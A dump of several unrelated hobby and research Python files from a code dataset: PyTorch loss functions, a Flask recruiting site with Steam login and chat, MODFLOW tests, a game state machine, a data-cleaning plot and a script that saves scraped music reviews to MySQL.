of importance\n\t#Stake Aversion was weighed 70%\n\t#Garlic Aversion was weighed 10%\n\t#Reflectance was weighed 10%\n\t#Shiny was weighed 10%\n\n\tp += (1 - (math.fabs(vampire_stake_mean - row[3])/vampire_stake_mean)) * 0.7\n\tp += (1 - (math.fabs(vampire_garlic_stats - row[4])/vampire_garlic_stats)) * 0.1\n\tp += (1 - (math.fabs(vampire_reflect_stats - row[5])/vampire_reflect_stats)) * 0.1\n\tp += (1 - (math.fabs(vampire_shiny_stats - row[6])/vampire_shiny_stats)) * 0.1\n\t\n\t\n\t#Ensure that the probablity never goes above 0.9999\n\tif (p > 1):\n\t\tp = 0.9999\n\n\treturn p\n\ndef log_likelihood(arr,vampire_function):\n\t\"\"\"\n\tCalcuates the likelihood of the passed statistical model\n\t:returns: The likelihood of the passed statistical model\n\t\"\"\"\n\tstake_stats = column_stats(data, 2)\n\tgarlic_stats = column_stats(data, 3)\n\treflect_stats = column_stats(data, 4)\n\tshiny_stats = column_stats(data, 5)\n\n\tlikelihood = 0.0\n\n\tfor val in arr:\n\t\tprob = vampire_function(val, stake_stats, garlic_stats, reflect_stats, shiny_stats)\n\t\tif (val[6].astype(numpy.int) == 0):\n\t\t\tif (prob > 0.5):\n\t\t\t\tprob = 1 - prob\n\n\t\tlikelihood = likelihood * prob\n\n\treturn likelihood\n\ndef percent_correct (arr, vampire_function):\n\t\"\"\"\n\tCalcuates the number of correct answers for a given data set\n\t:returns: The percentage of correct answers\n\t\"\"\"\n\tstake_stats = column_stats(arr, 3)\n\tgarlic_stats = column_stats(arr, 4)\n\treflect_stats = column_stats(arr, 5)\n\tshiny_stats = column_stats(arr, 6)\n\n\tright = 0.0\n\ttotal = 0.0\n\n\tfor val in arr:\n\t\tprob = vampire_function(val, stake_stats, garlic_stats, reflect_stats, shiny_stats)\n\t\tif (val[6].astype(numpy.int) == 1 and prob > 0.5):\n\t\t\tright += 1\n\t\tif (val[6].astype(numpy.int) == 0 and prob < 0.5):\n\t\t\tright += 1\n\n\t\ttotal += 1\n\n\n\treturn (right/total) * 100\n\ndef get_column (arr, col):\n\t\"\"\"\n\tThis function returns the column for a given array\n\tI was getting the following error : list indices must be integers, not tuple\n\twhen trying to use arr[:,col] so I wrote this as a workaround for now\n\t\"\"\"\n\n\tcol_arr = []\n\tfor val in arr:\n\t\tcol_arr.append(val[col])\n\n\treturn col_arr\n\ndata = loaddata('a3data.csv');\ndata = numpy.array(data) \ndata = dat2arr(data)\nsave_array(data, 'test')\n\n","sub_path":"asn3.py","file_name":"asn3.py","file_ext":"py","file_size_in_byte":6931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"370255290","text":"# pylint: disable=W,C,R\n\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\nfrom torchvision import transforms\nfrom torch import cat\nimport torch.nn as nn\nimport torchvision.transforms.functional as TF\nimport random\n\n\nclass DiceLoss(nn.Module):\n\n def __init__(self):\n super(DiceLoss, self).__init__()\n self.smooth = 1.0\n\n def forward(self, y_pred, y_true, epsilon=1e-6):\n y_pred_flatten = y_pred.contiguous().view(-1)\n y_true_flatten = y_true.contiguous().view(-1)\n \n if not (y_true_flatten).sum() + (y_pred_flatten).sum():\n return 1.0\n \n dc = (2. * (y_true_flatten * y_pred_flatten).sum()) /\\\n ((y_true_flatten).sum() + (y_pred_flatten).sum() + epsilon)\n \n return 1.0 - dc\n\n\ndef transform(img, mask):\n to_pil = transforms.ToPILImage()\n img = to_pil(img)\n label0 = to_pil(mask[:,:,0])\n label1 = to_pil(mask[:,:,1])\n label2 = to_pil(mask[:,:,2])\n label3 = to_pil(mask[:,:,3])\n\n # Resize\n resize = transforms.Resize(64)\n img = resize(img)\n label0 = resize(label0)\n label1 = resize(label1)\n label2 = resize(label2)\n label3 = resize(label3)\n\n # Random horizontal flipping\n if random.random() > 0.5:\n img = TF.hflip(img)\n label0 = TF.hflip(label0)\n label1 = TF.hflip(label1)\n label2 = TF.hflip(label2)\n label3 = TF.hflip(label3)\n\n # Random vertical flipping\n if random.random() > 0.5:\n img = TF.vflip(img)\n label0 = TF.vflip(label0)\n label1 = TF.vflip(label1)\n label2 = TF.vflip(label2)\n label3 = TF.vflip(label3)\n\n\n # Transform to tensor\n img = TF.to_tensor(img)\n label0 = TF.to_tensor(label0)\n label1 = TF.to_tensor(label1)\n label2 = TF.to_tensor(label2)\n label3 = TF.to_tensor(label3)\n\n normalize = transforms.Normalize((0.5,0.5,0.5),(0.5,0.5,0.5))\n img = normalize(img)\n\n label = np.round(cat((label0, label1, label2, label3)))\n return img, label\n\n\"\"\"\nCrossentropyND and TopKLoss are from: https://github.com/MIC-DKFZ/nnUNet/blob/master/nnunet/training/loss_functions/ND_Crossentropy.py\n\"\"\"\n\nimport torch\nimport torch.nn.functional as F\nfrom scipy.ndimage import distance_transform_edt\nimport numpy as np\n\n\nclass CrossentropyND(torch.nn.CrossEntropyLoss):\n \"\"\"\n Network has to have NO NONLINEARITY!\n \"\"\"\n def forward(self, inp, target):\n target = target.long()\n num_classes = inp.size()[1]\n\n i0 = 1\n i1 = 2\n\n while i1 < len(inp.shape): # this is ugly but torch only allows to transpose two axes at once\n inp = inp.transpose(i0, i1)\n i0 += 1\n i1 += 1\n\n inp = inp.contiguous()\n inp = inp.view(-1, num_classes)\n\n target = target.view(-1,)\n\n return super(CrossentropyND, self).forward(inp, target)\n\nclass TopKLoss(CrossentropyND):\n \"\"\"\n Network has to have NO LINEARITY!\n \"\"\"\n def __init__(self, weight=None, ignore_index=-100, k=10):\n self.k = k\n super(TopKLoss, self).__init__(weight, False, ignore_index, reduce=False)\n\n def forward(self, inp, target):\n target = target[:, 0].long()\n res = super(TopKLoss, self).forward(inp, target)\n num_voxels = np.prod(res.shape)\n res, _ = torch.topk(res.view((-1, )), int(num_voxels * self.k / 100), sorted=False)\n return res.mean()\n\n\nclass WeightedCrossEntropyLoss(torch.nn.CrossEntropyLoss):\n \"\"\"\n Network has to have NO NONLINEARITY!\n \"\"\"\n def __init__(self, weight=None):\n super(WeightedCrossEntropyLoss, self).__init__()\n self.weight = weight\n\n def forward(self, inp, target):\n target = target.long()\n num_classes = inp.size()[1]\n\n i0 = 1\n i1 = 2\n\n while i1 < len(inp.shape): # this is ugly but torch only allows to transpose two axes at once\n inp = inp.transpose(i0, i1)\n i0 += 1\n i1 += 1\n\n inp = inp.contiguous()\n inp = inp.view(-1, num_classes)\n\n target = target.view(-1,)\n wce_loss = torch.nn.CrossEntropyLoss(weight=self.weight)\n\n return wce_loss(inp, target)\n\nclass WeightedCrossEntropyLossV2(torch.nn.Module):\n \"\"\"\n WeightedCrossEntropyLoss (WCE) as described in https://arxiv.org/pdf/1707.03237.pdf\n Network has to have NO LINEARITY!\n copy from: https://github.com/wolny/pytorch-3dunet/blob/6e5a24b6438f8c631289c10638a17dea14d42051/unet3d/losses.py#L121\n \"\"\"\n\n def forward(self, net_output, gt):\n # compute weight\n # shp_x = net_output.shape\n # shp_y = gt.shape\n # print(shp_x, shp_y)\n # with torch.no_grad():\n # if len(shp_x) != len(shp_y):\n # gt = gt.view((shp_y[0], 1, *shp_y[1:]))\n\n # if all([i == j for i, j in zip(net_output.shape, gt.shape)]):\n # # if this is the case then gt is probably already a one hot encoding\n # y_onehot = gt\n # else:\n # gt = gt.long()\n # y_onehot = torch.zeros(shp_x)\n # if net_output.device.type == \"cuda\":\n # y_onehot = y_onehot.cuda(net_output.device.index)\n # y_onehot.scatter_(1, gt, 1)\n # y_onehot = y_onehot.transpose(0,1).contiguous()\n # class_weights = (torch.einsum(\"cbxyz->c\", y_onehot).type(torch.float32) + 1e-10)/torch.numel(y_onehot)\n # print('class_weights', class_weights)\n # class_weights = class_weights.view(-1)\n class_weights = torch.cuda.FloatTensor([0.2,0.8])\n gt = gt.long()\n num_classes = net_output.size()[1]\n # class_weights = self._class_weights(inp)\n\n i0 = 1\n i1 = 2\n\n while i1 < len(net_output.shape): # this is ugly but torch only allows to transpose two axes at once\n net_output = net_output.transpose(i0, i1)\n i0 += 1\n i1 += 1\n\n net_output = net_output.contiguous()\n net_output = net_output.view(-1, num_classes) #shape=(vox_num, class_num)\n\n gt = gt.view(-1,)\n # print('*'*20)\n return F.cross_entropy(net_output, gt) # , weight=class_weights\n\n # @staticmethod\n # def _class_weights(input):\n # # normalize the input first\n # input = F.softmax(input, _stacklevel=5)\n # flattened = flatten(input)\n # nominator = (1. - flattened).sum(-1)\n # denominator = flattened.sum(-1)\n # class_weights = Variable(nominator / denominator, requires_grad=False)\n # return class_weights\n\ndef flatten(tensor):\n \"\"\"Flattens a given tensor such that the channel axis is first.\n The shapes are transformed as follows:\n (N, C, D, H, W) -> (C, N * D * H * W)\n \"\"\"\n C = tensor.size(1)\n # new axis order\n axis_order = (1, 0) + tuple(range(2, tensor.dim()))\n # Transpose: (N, C, D, H, W) -> (C, N, D, H, W)\n transposed = tensor.permute(axis_order)\n # Flatten: (C, N, D, H, W) -> (C, N * D * H * W)\n transposed = transposed.contiguous()\n return transposed.view(C, -1)\n\ndef compute_edts_forPenalizedLoss(GT):\n \"\"\"\n GT.shape = (batch_size, x,y,z)\n only for binary segmentation\n \"\"\"\n GT = np.squeeze(GT)\n res = np.zeros(GT.shape)\n for i in range(GT.shape[0]):\n posmask = GT[i]\n negmask = ~posmask\n pos_edt = distance_transform_edt(posmask)\n pos_edt = (np.max(pos_edt)-pos_edt)*posmask \n neg_edt = distance_transform_edt(negmask)\n neg_edt = (np.max(neg_edt)-neg_edt)*negmask \n res[i] = pos_edt/np.max(pos_edt) + neg_edt/np.max(neg_edt)\n return res\n\nclass DisPenalizedCE(torch.nn.Module):\n \"\"\"\n Only for binary 3D segmentation\n Network has to have NO NONLINEARITY!\n \"\"\"\n\n def forward(self, inp, target):\n # print(inp.shape, target.shape) # (batch, 2, xyz), (batch, 2, xyz)\n # compute distance map of ground truth\n with torch.no_grad():\n dist = compute_edts_forPenalizedLoss(target.cpu().numpy()>0.5) + 1.0\n \n dist = torch.from_numpy(dist)\n if dist.device != inp.device:\n dist = dist.to(inp.device).type(torch.float32)\n dist = dist.view(-1,)\n\n target = target.long()\n num_classes = inp.size()[1]\n\n i0 = 1\n i1 = 2\n\n while i1 < len(inp.shape): # this is ugly but torch only allows to transpose two axes at once\n inp = inp.transpose(i0, i1)\n i0 += 1\n i1 += 1\n\n inp = inp.contiguous()\n inp = inp.view(-1, num_classes)\n log_sm = torch.nn.LogSoftmax(dim=1)\n inp_logs = log_sm(inp)\n\n target = target.view(-1,)\n # loss = nll_loss(inp_logs, target)\n loss = -inp_logs[range(target.shape[0]), target]\n # print(loss.type(), dist.type())\n weighted_loss = loss*dist\n\n return loss.mean()\n\n\ndef nll_loss(input, target):\n \"\"\"\n customized nll loss\n source: https://medium.com/@zhang_yang/understanding-cross-entropy-\n implementation-in-pytorch-softmax-log-softmax-nll-cross-entropy-416a2b200e34\n \"\"\"\n loss = -input[range(target.shape[0]), target]\n return loss.mean()","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"134014042","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport state\nimport random\nimport feel_sorrow_state\n\n\nclass EnjoyState(state.State):\n\n def enter(self, entity):\n entity.set_message(\"LittleGirl : わたしとあそぼっ!\")\n entity.set_game_size(random.randint(5, 10))\n\n # 条件が満たされるまで実行される\n def execute(self, entity):\n # entity.fireSomething(random.randint(1,2))\n # entity.setMessage(\"じゅーじゅー\")\n entity.set_message(\"LittleGirl : あははー♪\")\n # 精神回復\n entity.recover_mental(1)\n # 体力消費\n entity.exhaust(1)\n\n # ビヘイビアツリーによる行動\n # entity.setMessage(entity.conflict_act())\n # ニューラルネットワークによる行動\n # entity.train_act()\n # if entity.isDonenessFull():\n # \t#entity.changeState(EatSomething.EatSomething())\n # \tentity.getFsm().changeState(eat_state.EatState())\n\n # EatSomethingに遷移する際に一度だけ実行される\n def exit(self, entity):\n entity.set_message(\"LittleGirl : えっ、もうかえっちゃうの?\")\n entity.message_dispatcher.dispatch_message(\n entity.message_dispatcher.SEND_MESSAGE_IMMEDIATELY,\n entity.m_ID,\n 2, # EntityNames.Monster.ID\n \"PLAY_STATE\", # MessageType\n None)\n\n def on_message(self, entity, telegram):\n if telegram.message is not None:\n if telegram.message == \"ENJOY_STATE\":\n entity.get_fsm().change_state(feel_sorrow_state.FeelSorrowState())\n","sub_path":"models/enjoy_state.py","file_name":"enjoy_state.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"259555355","text":"import shutil\nimport os\nimport numpy as np\nimport flopy\n\ncpth = os.path.join('temp', 't051')\n# delete the directory if it exists\nif os.path.isdir(cpth):\n shutil.rmtree(cpth)\n# make the directory\nos.makedirs(cpth)\n\n\ndef test_default_oc_stress_period_data():\n m = flopy.modflow.Modflow(model_ws=cpth, verbose=True)\n dis = flopy.modflow.ModflowDis(m,nper=10,perlen=10.0,nstp=5)\n bas = flopy.modflow.ModflowBas(m)\n lpf = flopy.modflow.ModflowLpf(m, ipakcb=100)\n wel_data = {0: [[0, 0, 0, -1000.]]}\n wel = flopy.modflow.ModflowWel(m, ipakcb=101,\n stress_period_data=wel_data)\n #spd = {(0, 0): ['save head', 'save budget']}\n oc = flopy.modflow.ModflowOc(m, stress_period_data=None)\n spd_oc = oc.stress_period_data\n tups = list(spd_oc.keys())\n kpers = [t[0] for t in tups]\n assert len(kpers) == m.nper\n kstps = [t[1] for t in tups]\n assert max(kstps) == 4\n assert min(kstps) == 4\n m.write_input()\n\n\ndef test_mfcbc():\n m = flopy.modflow.Modflow(verbose=True)\n dis = flopy.modflow.ModflowDis(m)\n bas = flopy.modflow.ModflowBas(m)\n lpf = flopy.modflow.ModflowLpf(m, ipakcb=100)\n wel_data = {0: [[0, 0, 0, -1000.]]}\n wel = flopy.modflow.ModflowWel(m, ipakcb=101,\n stress_period_data = wel_data)\n spd = {(0, 0): ['save head', 'save budget']}\n oc = flopy.modflow.ModflowOc(m, stress_period_data=spd)\n t = oc.get_budgetunit()\n assert t == [100, 101], 'budget units are {}'.format(t) + ' not [100, 101]'\n\n nlay = 3\n nrow = 3\n ncol = 3\n ml = flopy.modflow.Modflow(modelname='t1', model_ws=cpth, verbose=True)\n dis = flopy.modflow.ModflowDis(ml, nlay=nlay, nrow=nrow, ncol=ncol, top=0,\n botm=[-1., -2., -3.])\n ibound = np.ones((nlay, nrow, ncol), dtype=np.int)\n ibound[0, 1, 1] = 0\n ibound[0, 0, -1] = -1\n bas = flopy.modflow.ModflowBas(ml, ibound=ibound)\n lpf = flopy.modflow.ModflowLpf(ml, ipakcb=102)\n wel_data = {0: [[2, 2, 2, -1000.]]}\n wel = flopy.modflow.ModflowWel(ml, ipakcb=100, stress_period_data=wel_data)\n oc = flopy.modflow.ModflowOc(ml)\n\n oc.reset_budgetunit(budgetunit=1053, fname='big.bin')\n\n msg = 'wel ipakcb ({}) '.format(wel.ipakcb) + \\\n 'not set correctly to 1053 using oc.resetbudgetunit()'\n assert wel.ipakcb == 1053, msg\n\n ml.write_input()\n\n\nif __name__ == '__main__':\n #test_mfcbc()\n test_default_oc_stress_period_data()\n","sub_path":"autotest/t051_test.py","file_name":"t051_test.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"147994111","text":"from flask import Flask, request, redirect, render_template, url_for, jsonify\nfrom flask_login import LoginManager, login_required, current_user, login_user, \\\n logout_user\nfrom flask_openid import OpenID\nfrom flask.ext.misaka import Misaka\nfrom flask_socketio import SocketIO, send, emit\nfrom datetime import datetime\n\nfrom .configuration import load_configuration\nfrom .models import db, User, UserRecruitInfo, TeamRecruitInfo\nfrom .helpers import get_steam_id_from_url, get_steam_user_info, \\\n is_nickname_valid\n\n# Application Setup\napp = Flask(__name__)\nload_configuration(app)\ndb.init_app(app)\noid = OpenID(app, app.config['TMP_FOLDER'])\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nMisaka(app)\nsocketio = SocketIO(app)\n\n\"\"\" Default routes\n\"\"\"\n\n\n@app.route('/', methods=[\"GET\"])\n@app.route('/index/', methods=[\"GET\"])\ndef index():\n return redirect(url_for('news'))\n\n\n@app.route('/news/', methods=[\"GET\"])\ndef news():\n return render_template('news.html')\n\n\n\"\"\" Login management\n\"\"\"\n\n\n@app.route('/login/', methods=[\"GET\"])\ndef login():\n return render_template('login.html', next=request.args.get('next'))\n\n\n@login_manager.unauthorized_handler\ndef unauthorized_callback():\n return redirect('/login/?next=' + request.path)\n\n\n@app.route('/login/steam/', methods=[\"GET\"])\n@oid.loginhandler\ndef login_steam():\n if current_user.is_authenticated:\n return redirect(oid.get_next_url())\n return oid.try_login('http://steamcommunity.com/openid')\n\n\n@oid.after_login\ndef create_or_login(resp):\n match = get_steam_id_from_url(resp)\n steam_id = match.group(1)\n steam_data = get_steam_user_info(app.config['STEAM_API_KEY'], steam_id)\n\n user = User.query.filter_by(steam_id=steam_id).first()\n if user is None:\n user = User(steam_id, steam_data, '#' + steam_id + '#')\n db.session.add(user)\n db.session.commit()\n else:\n user.avatar = steam_data['avatar']\n user.avatar_medium = steam_data['avatarmedium']\n user.avatar_full = steam_data['avatarfull']\n db.session.commit()\n\n login_user(user)\n\n if user.nickname_mutable:\n return redirect(url_for('user_settings'))\n else:\n return redirect(oid.get_next_url())\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.query.filter_by(id=user_id).first()\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n return redirect(oid.get_next_url())\n\n\n\"\"\" User management\n\"\"\"\n\n\n@app.route(\"/user/settings/\", methods=[\"GET\"])\n@login_required\ndef user_settings():\n return render_template('user_settings.html')\n\n\n@app.route(\"/user/settings/nickname/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef user_nickname():\n # Tests\n nickname = request.args.get('nickname')\n if nickname is None:\n return jsonify({'error': True, 'type': 'empty'})\n if len(nickname) < 3:\n return jsonify({'error': True, 'type': 'too_short'})\n if len(nickname) >= 30:\n return jsonify({'error': True, 'type': 'too_long'})\n if not is_nickname_valid(nickname):\n return jsonify({'error': True, 'type': 'invalid'})\n user = User.query.filter_by(nickname=nickname).first()\n if user is not None:\n return jsonify({'error': True, 'type': 'exists'})\n else:\n # Valid name, change username if POST\n if request.method == \"POST\":\n user = current_user\n user.nickname = nickname\n user.nickname_mutable = False\n db.session.commit()\n return jsonify({'error': False})\n\n\n@app.route(\"/users/id//\", methods=[\"GET\"])\ndef user_profile(id=None):\n if id is None:\n return redirect(url_for('users_list'))\n user = User.query.filter_by(id=id).first()\n if user is None:\n return redirect(url_for('users_list'))\n return render_template('user_profile.html', user=user)\n\n\n\"\"\" User browsing\n\"\"\"\n\n\n@app.route(\"/users/\", methods=[\"GET\"])\ndef users():\n return render_template('users.html')\n\n\n@app.route(\"/users/list/\", methods=[\"GET\"])\ndef users_list():\n query = User.query\n records_total = query.count()\n if request.args.get(\"order[0][dir]\") == 'desc':\n query = query.order_by(User.nickname.desc())\n else:\n query = query.order_by(User.nickname.asc())\n if request.args.get(\"search[value]\") != '':\n query = query.filter(\n User.nickname.like(\"%\" + request.args.get(\"search[value]\") + \"%\"))\n records_filtered = query.count()\n all_users = query \\\n .offset(request.args.get(\"start\")) \\\n .limit(request.args.get(\"length\")) \\\n .all()\n json_list = [i.serialize() for i in all_users]\n json = jsonify({\"draw\": request.args.get(\"draw\"), \"data\": json_list,\n \"recordsTotal\": records_total,\n \"recordsFiltered\": records_filtered})\n return json\n\n\n\"\"\" User/Team Recruit\n\"\"\"\n\n\n@app.route(\"/recruit/\", methods=[\"GET\"])\ndef recruit():\n return render_template('recruit.html')\n\n\n@app.route(\"/recruit/user/\", methods=[\"POST\"])\n@login_required\ndef recruit_user_update():\n if current_user.user_recruit_info is None:\n current_user.user_recruit_info = UserRecruitInfo()\n\n current_user.user_recruit_info.title = request.args.get('title')\n if request.args.get('carry') in ['true', 'false']:\n current_user.user_recruit_info.carry = request.args.get(\n 'carry') == 'true'\n if request.args.get('offlane') in ['true', 'false']:\n current_user.user_recruit_info.offlane = request.args.get(\n 'offlane') == 'true'\n if request.args.get('midlane') in ['true', 'false']:\n current_user.user_recruit_info.midlane = request.args.get(\n 'midlane') == 'true'\n if request.args.get('support') in ['true', 'false']:\n current_user.user_recruit_info.support = request.args.get(\n 'support') == 'true'\n current_user.user_recruit_info.skill = request.args.get('skill')\n current_user.user_recruit_info.description = request.args.get('description')\n current_user.user_recruit_info.last_refresh = datetime.now()\n\n db.session.commit()\n return jsonify({'error': False})\n\n\n@app.route(\"/recruit/user/all/\", methods=[\"GET\"])\ndef recruit_user_list():\n query = UserRecruitInfo.query\n records_total = query.count()\n records_filtered = records_total\n all_recruits = query \\\n .offset(request.args.get(\"start\")) \\\n .limit(request.args.get(\"length\")) \\\n .all()\n json_list = [i.serialize(add_user=True, add_description=False) for i in\n all_recruits]\n json = jsonify({\"draw\": request.args.get(\"draw\"), \"data\": json_list,\n \"recordsTotal\": records_total,\n \"recordsFiltered\": records_filtered})\n return json\n\n\n@app.route(\"/recruit/team/all/\", methods=[\"GET\"])\ndef recruit_team_list():\n query = TeamRecruitInfo.query\n records_total = query.count()\n records_filtered = records_total\n all_recruits = query \\\n .offset(request.args.get(\"start\")) \\\n .limit(request.args.get(\"length\")) \\\n .all()\n json_list = [i.serialize(add_user=True, add_description=False) for i in\n all_recruits]\n json = jsonify({\"draw\": request.args.get(\"draw\"), \"data\": json_list,\n \"recordsTotal\": records_total,\n \"recordsFiltered\": records_filtered})\n return json\n\n\n@app.route(\"/recruit/team/\", methods=[\"POST\"])\n@login_required\ndef recruit_team_update():\n if current_user.team_recruit_info is None:\n current_user.team_recruit_info = TeamRecruitInfo()\n\n current_user.team_recruit_info.title = request.args.get('title')\n if request.args.get('carry') in ['true', 'false']:\n current_user.team_recruit_info.carry = request.args.get(\n 'carry') == 'true'\n if request.args.get('offlane') in ['true', 'false']:\n current_user.team_recruit_info.offlane = request.args.get(\n 'offlane') == 'true'\n if request.args.get('midlane') in ['true', 'false']:\n current_user.team_recruit_info.midlane = request.args.get(\n 'midlane') == 'true'\n if request.args.get('support') in ['true', 'false']:\n current_user.team_recruit_info.support = request.args.get(\n 'support') == 'true'\n if request.args.get('support2') in ['true', 'false']:\n current_user.team_recruit_info.support2 = request.args.get(\n 'support2') == 'true'\n current_user.team_recruit_info.skill = request.args.get('skill')\n current_user.team_recruit_info.description = request.args.get('description')\n current_user.team_recruit_info.last_refresh = datetime.now()\n\n db.session.commit()\n return jsonify({'error': False})\n\n\n@app.route(\"/recruit/user/\", methods=[\"DELETE\"])\n@login_required\ndef recruit_user_delete():\n current_user.user_recruit_info = None\n db.session.commit()\n return jsonify({'error': False})\n\n\n@app.route(\"/recruit/team/\", methods=[\"DELETE\"])\n@login_required\ndef recruit_team_delete():\n current_user.team_recruit_info = None\n db.session.commit()\n return jsonify({'error': False})\n\n\n@app.route(\"/recruit/user/id//\", methods=[\"GET\"])\ndef recruit_user_info(id=None):\n if id is None:\n return redirect(url_for('recruit'))\n recruit = UserRecruitInfo.query.filter_by(id=id).first()\n if recruit is None:\n return redirect(url_for('recruit'))\n return render_template('recruit_info.html', type='user', recruit=recruit)\n\n\n@app.route(\"/recruit/team/id//\", methods=[\"GET\"])\ndef recruit_team_info(id=None):\n if id is None:\n return redirect(url_for('recruit'))\n recruit = TeamRecruitInfo.query.filter_by(id=id).first()\n if recruit is None:\n return redirect(url_for('recruit'))\n return render_template('recruit_info.html', type='team', recruit=recruit)\n\n\n\"\"\" Chat\n\"\"\"\n\n\n@app.route(\"/chat/\", methods=[\"GET\"])\n@login_required\ndef chat():\n return render_template('chat.html')\n\n\n@login_required\n@socketio.on('connect', namespace='/chat')\ndef connect():\n emit('connected', {'user': current_user.nickname, 'avatar': current_user.avatar}, broadcast=True)\n\n\n@login_required\n@socketio.on('disconnect', namespace='/chat')\ndef disconnect():\n emit('disconnected', {'user': current_user.nickname}, broadcast=True)\n\n\n@login_required\n@socketio.on('message', namespace='/chat')\ndef message(json):\n emit('message', {'user': current_user.nickname, 'avatar': current_user.avatar, 'message': json}, broadcast=True)\n\n\n\"\"\" Error Handling\n\"\"\"\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n return 'Page not found.'\n\n\n@app.errorhandler(401)\ndef not_authorized(error):\n return 'Not authorized.'\n\n\n\"\"\" Run\n\"\"\"\n\nif __name__ == '__main__':\n socketio.run(app, host='0.0.0.0', port=5000)\n","sub_path":"dazzar/webapp/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":10748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"627021294","text":"from tomek import remove, detect, get_non_links\nfrom utils import make_cluster_data\n\nimport matplotlib.pyplot as plt\n\n\ndef run():\n X, y = make_cluster_data(centerbox=(-4.0, 4.0))\n\n grid = plt.GridSpec(3, 4, wspace=0.4, hspace=0.3)\n plt.subplot(grid[0, 0:])\n plt.scatter(X[:, 0], X[:, 1], c=y)\n plt.title(\"Clusters\")\n\n tomek_links = detect(X, y)\n non_links = get_non_links(X, y)\n plt.subplot(grid[1, 1:3])\n plt.scatter(X[tomek_links, 0], X[tomek_links, 1], c=y[tomek_links])\n plt.title(\"Tomek Links\")\n\n X_clean, y_clean = remove(X, y, tomek_links)\n\n plt.subplot(grid[2, 0:])\n plt.scatter(X_clean[:, 0], X_clean[:, 1], c=y_clean)\n plt.title(\"Cleansed\")\n\n plt.show()\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"examples/tomek.py","file_name":"tomek.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"353556357","text":"from .db.db_manager_abc import DbManagerABC\nfrom .queue_manager import QueueManager\n\n\nclass MainController(object):\n def __init__(self, queue_manager: QueueManager, db_manager: DbManagerABC):\n self._queue_manager = queue_manager\n self._db_manager = db_manager\n self._queue_manager.bind_to(self.run_filter)\n\n def run_filter(self):\n while not self._queue_manager.is_queue_empty():\n post_id = self._queue_manager.get_from_queue()\n post_content, post_flag = self._db_manager.select_from_table('posts', ('content', 'flag'),\n 'ID=' + str(post_id), True)[0]\n print(str(post_id) + \": \" + post_content + \" \" + str(post_flag))\n self._db_manager.update_columns('posts', {'flag': '0'}, 'ID=' + str(post_id), join_transaction=True)\n self._db_manager.commit()\n self._db_manager.disconnect()\n\n def add_to_queue(self, content):\n self._queue_manager.add_to_queue(content)\n","sub_path":"app/main_controller.py","file_name":"main_controller.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"409621763","text":"import mysql.connector\nimport metalde\n\nuser = 'pi_db'\nhost = 'localhost'\n\ndef convert_date(date_str):\n \"\"\"\n Convert a date_str in the format 'DD.MM.YYYY' into mysql\n format 'YYYY-MM-DD'.\n \"\"\"\n date_li = date_str.split('.')\n return '-'.join(reversed(date_li))\n\ndef create_reviews_db():\n \"\"\"\n Creates a database 'music_reviews_db' with an empty table \n 'metalde'.\n \"\"\"\n db = mysql.connector.connect(host=host, user=user)\n cursor = db.cursor()\n db_create_str = \"CREATE DATABASE IF NOT EXISTS music_reviews_db\"\n cursor.execute(db_create_str)\n cursor.execute('USE music_reviews_db')\n tb_create_str = \"\"\"\n CREATE TABLE IF NOT EXISTS metalde (\n text MEDIUMTEXT,\n publish_date DATE,\n author VARCHAR(255),\n item VARCHAR(255),\n rating SMALLINT,\n genres VARCHAR(255),\n num_songs SMALLINT,\n duration VARCHAR(255),\n release_date DATE,\n label VARCHAR(255),\n comments MEDIUMTEXT\n )\n \"\"\"\n cursor.execute(tb_create_str)\n #cursor.execute('DESCRIBE metalde')\n #for x in cursor:\n # print(x)\n\ndef remove_reviews_db():\n \"\"\"\n Remove metal_reviews_db database from server.\n \"\"\"\n db = mysql.connector.connect(host=host, user=user)\n cursor = db.cursor()\n cursor.execute('DROP DATABASE music_reviews_db')\n\ndef insert_review_in_db(review):\n db = mysql.connector.connect(host=host, user=user, database='music_reviews_db')\n cursor = db.cursor()\n text = review['text']\n publish_date = convert_date(review['publish_date'])\n author = review['author']\n item = review['item']\n if review['rating'].isdigit():\n rating = int(review['rating'])\n else:\n rating = 'NULL'\n genres = ', '.join(review['genres'])\n if review['num_songs'].isdigit():\n num_songs = int(review['num_songs'])\n else:\n num_songs = 'NULL'\n duration = review['duration']\n release_date = convert_date(review['release_date'])\n label = review['label']\n if review['comments'] == []:\n comments = 'NULL'\n else:\n comments = '\"' + str(review['comments']) + '\"'\n\n command_str = \"\"\"INSERT INTO metalde (\n text, \n publish_date, \n author, \n item, \n rating, \n genres, \n num_songs, \n duration, \n release_date, \n label, \n comments\n ) VALUES ({}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {})\"\"\".format(\n '\"' + text + '\"', \n '\"' + publish_date + '\"', \n '\"' + author + '\"', \n '\"' + item + '\"', \n rating, \n '\"' + genres + '\"', \n num_songs, \n '\"' + duration + '\"', \n '\"' + release_date + '\"', \n '\"' + label + '\"', \n comments\n )\n\n cursor.execute(command_str)\n db.commit()\n\n\n \n\nif __name__ == \"__main__\":\n try:\n remove_reviews_db()\n except:\n print('database doesnt exist')\n\n create_reviews_db()\n\n parser = metalde.MetaldeParser()\n review_list = parser.get_links_to_reviews(1)[:5]\n for review_page in 